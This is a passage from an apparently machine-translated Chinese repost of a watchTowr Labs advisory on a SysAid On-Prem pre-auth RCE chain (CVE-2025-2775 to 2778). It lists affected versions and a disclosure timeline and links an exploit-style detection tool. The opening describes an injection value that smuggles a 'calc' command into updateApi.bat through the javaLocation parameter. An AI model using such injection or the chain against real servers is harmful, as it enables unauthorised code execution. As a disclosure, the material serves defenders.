此示例请求演示了一个 HTTP 请求,指定了许多 POST 参数,但重要的是,该javaLocation参数的值为"%0acalc%0a- 一个双引号,后跟一个换行符,后跟我们要执行的命令(calc在本例中为 )和另一个换行符。
这导致updateApi.bat文件内容变成如下形式:
如您所见,该calc命令随后被注入到保存的生成命令中updateApi.bat,并将在updateApi.bat下次触发时顺利执行。
检测伪影生成器
与往常一样,我们编译了一个检测工件生成器来演示和实现预授权 RCE。
检测工件生成器链是两个漏洞的组合:
-
CVE-2025-2775 - 预身份验证 XXE 1
-
我们用它来泄露明文管理员凭证。
-
CVE-2025-2778 - 身份验证后命令注入
这件艺术品可以在这里找到-https://github.com/watchtowrlabs/watchTowr-vs-SysAid-PreAuth-RCE-Chain?ref=labs.watchtowr.com:
受影响的版本
SysAid On-Prem 版本<= 23.3.40被认为受到今天博客文章中详述的漏洞的影响,并且容易受到攻击。
可以在此处找到 SysAid 发行说明的直接链接。https://documentation.sysaid.com/docs/24-40-60?ref=labs.watchtowr.com
CVE 分配
感谢VulnCheck的朋友们保留以下 CVE(包括一个神秘操作系统命令注入的 CVE,因为我们无法识别分配的 CVE 标识符):
-
CVE-2025-2775 (watchTowr) - 预身份验证 XXE 1
-
CVE-2025-2776 (watchTowr) - 预身份验证 XXE 2
-
CVE-2025-2777 (watchTowr) - 预身份验证 XXE 3
-
CVE-2025-2778(未知报告者)- 身份验证后操作系统命令注入
尽管 SysAid 在其变更日志中仅提到了 2 个 XXE 漏洞,但我们假设,由于第一个和第二个 XXE 问题(之前已详细解释过)位于同一个 Java 类(GetMdmMessage),因此 SysAid 决定将它们算作一个。
时间线
数据-------------------------细节
2024年12月20日第一个 XXE 漏洞报告已发送至 SysAid
2024年12月22日SysAid 回应称,他们无法重现 XXE,并强调他们有自己的漏洞披露条款和条件,希望我们以某种方式遵守。
2024年12月22日watchTowr 与律师核实,以确保仍然不可能在未经同意的情况下任意约束人们签订随机合同 - 律师确认世界没有改变。
2025年1月3日已发送更详细的报告,解释复杂的漏洞
2025年1月6日报告了另外两个 XXE 漏洞
2025年1月30日已发送后续电子邮件,寻求确认已收到报告
2025年2月6日已发送后续电子邮件
2025年2月24日已发送后续电子邮件
2025年3月3日SysAid 发布24.4.60修复已报告漏洞的版本(未分配 CVE)
2025年3月22日watchTowr 首席执行官在 LinkedIn 上向 SysAid CISO 发送消息 - 没有回复。
2025年3月25日watchTowr 通知 SysAid,CVE 已通过我们在 VulnCheck 的朋友预留
2025年5月7日watchTowr 发布研究报告
原文始发于微信公众号(Ots安全):SysAid 本地预授权 RCE 链(CVE-2025-2775 及其相关漏洞)- watchTowr 实验室
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论